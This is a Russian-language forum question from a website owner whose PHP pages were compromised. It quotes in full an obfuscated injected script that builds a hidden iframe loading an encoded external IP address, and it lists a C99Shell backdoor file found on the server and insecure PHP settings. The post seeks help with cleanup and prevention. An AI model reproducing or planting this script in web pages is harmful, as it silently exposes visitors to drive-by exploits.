Проблема:
В моем веб-пространстве есть файлы PHP, которые заканчиваются на этом:
<?php include 'footer.php'; ?>
Перед этой строкой в файлах также есть HTML-код.
Результат в браузере заканчивается этим, конечно:
</body>
</html>
Но вчера, внезапно, появился какой-то вредоносный код. Результатом моего index.php было:
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Я открыл файл на своем веб-пространстве (загруженный через FTP), и я увидел, что кто-то поставил этот код прямо в файл!
Как это могло произойти?
Единственные способы, которые я могу себе представить:
- Кто-то получил мой FTP-пароль. Но он не только поместил бы его в один файл. Он мог нанести гораздо больший урон. Поэтому я не могу представить, что это так.
- У меня есть вирус на моем ПК. Я использую Notepad ++ для редактирования и FileZilla для загрузки. Возможно, эти программы также были заражены, и я загрузил вредоносный код - не зная.
- Кто-то использовал отверстие безопасности (XSS), чтобы поместить этот код на страницу. Но он не мог вставить это в файл, не так ли?
Симптомы:
Пользователи сообщили о появлении синей панели в Firefox. Он попросил их установить плагин. Теперь некоторые из них имеют Exploit.Java.CVE-2010-0886.a на своем ПК.
Это из-за вредоносного кода? Что сделал код точно?
Можете ли вы мне помочь?
Пожалуйста, помогите мне, я действительно в отчаянии.
Может быть, еще один вопрос, если вы знаете, как я мог его получить: как я мог предотвратить что-то подобное в будущем?
Изменить # 1:
Я нашел файл с именем "x76x09.php" в корневом каталоге моего веб-пространства. Он имеет размер файла 44.281 байт. Я загрузил его и попытался открыть его. Но мое антивирусное программное обеспечение показало, что это троянец (Trojan.Script.224490). Я думаю, что этот файл был выполнен и добавлен вредоносный код в "index.php" в каждом каталоге. Помогает ли это? Как троянец мог попасть в мое веб-пространство? Является ли это известным вирусом?
Изменить # 2:
Мой хост говорит, что теперь он может быть уверен, что файл не был загружен через FTP. Таким образом, заражение не произошло через FTP. По словам моего хостера, это должны быть небезопасные сценарии.
Изменить # 3:
Защитные дыры в соответствии с PHPSecInfo:
- allow_url_fopen = 1
- allow_url_include = 1
- expose_php = 1
- file_uploads = 1 (виноват ли этот вредоносный файл "x76x09.php"?)
- group_id = 99
- user_id = 99
Изменить # 4:
Я проанализировал файл, который был выполнен на моем веб-сервере. Здесь результаты.
Итак, этот вирус, как известно, называется:
- PHP/C99Shell.BF
- Backdoor/PHP.C99Shell
- BackDoor.Generic_c.CQA
- Trojan.Script.224490
- Exploit.PHP.635
- Backdoor.PHP.C99Shell.bf
- Trojan.Script.224490
Могут ли некоторые из них вызвать вредоносный файл на моем веб-пространстве, который добавил вредоносный код?